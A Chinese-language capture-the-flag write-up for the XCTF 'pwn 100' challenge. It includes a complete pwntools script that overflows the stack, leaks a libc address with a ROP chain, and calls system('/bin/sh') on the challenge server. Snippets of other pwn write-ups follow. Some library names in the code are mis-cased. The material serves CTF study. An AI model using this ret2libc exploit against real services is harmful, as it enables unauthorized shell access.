攻防世界 pwn 100

2021-10-25 06:22:12 字數 1509 閱讀 3078

如上圖,這道題很簡單粗暴,直接暴露溢位點,但是需要注意的是,每次輸入讀200!這點下面會有坑。

思路:利用rop洩露出read的位址,利用libsearch獲得system和/bin/sh的位址。這些都是常規流程。但是,有一點要注意,在傳送payload的時候,一定不能使用sendline或者sendafterline。因為這兩個方法會自動在你的payload後面新增\n。本題嚴格讀取200單元,多出來的\n作為下次讀取的開頭,會導致第二次傳送的錯誤!exp如下

from pwn import *

from libcsearcher import *

io = remote("220.249.52.133","54380")

elf = elf('./pwn-100/pwn-100')

context.log_level='debug'

# context.update(arch = 'amd64')

addr_pop_rdi = 0x400763

addr_main = 0x4006b8

payload = 'a' * 0x40 + 'a' * 8 + p64(addr_pop_rdi) + p64(elf.got['read']) + p64(elf.symbols['puts']) + p64(addr_main) + 'a' * 96

io.send(payload)

io.recvuntil('\x0a')

addr_read = io.recv()[:-1]

# print addr_read

addr_read = u64(addr_read.ljust(8,'\x00'))

# print hex(addr_read)

search = libcsearcher('read',addr_read)

addr_base = addr_read - search.dump('read')

addr_sys = addr_base + search.dump('system')

addr_sh = addr_base + search.dump('str_bin_sh')

print hex(addr_sh)

payload = 'a' * 0x40 + 'a' * 8 + p64(addr_pop_rdi) + p64(addr_sh) + p64(addr_sys) + p64(addr_main) + 'a' * 96

io.send(payload)

io.interactive()

攻防世界PWN題解答

通過ida開啟程式,f5鍵生成c的 如下 int cdecl main int argc,const char ar const char envp ssize t vulnerable function 很明顯,vulnerable function的read函式有注入點,可以複寫vulnerab...

PWN系列 攻防世界pwn高階區welpwn分析

個人部落格位址 函式 也比較簡單。read那裡也不存溢位。都是0x400。緊接著呼叫了echo函式。在echo函式中,將大小為0x400的buf中的值複製給大小為0x10的s2,很明顯會造成溢位。唯一的問題就是,如果buf中含有 x00。會中斷迴圈。函式執行的整體流程就是,使用者輸入的字串會存放到b...

攻防世界 pwn1 wp

先看保護 除了pie全開了。開啟ida分析 因為有canary保護所以要想辦法洩露canary,回頭看那個棧溢位漏洞,發現可以利用先傳送0x88個a過去 後面會自動給你爆出canary,有了canary之後,就簡單了,所以思路就是 先利用棧溢位漏洞獲取canary,再利用拼接的方法將前面的填充補全之...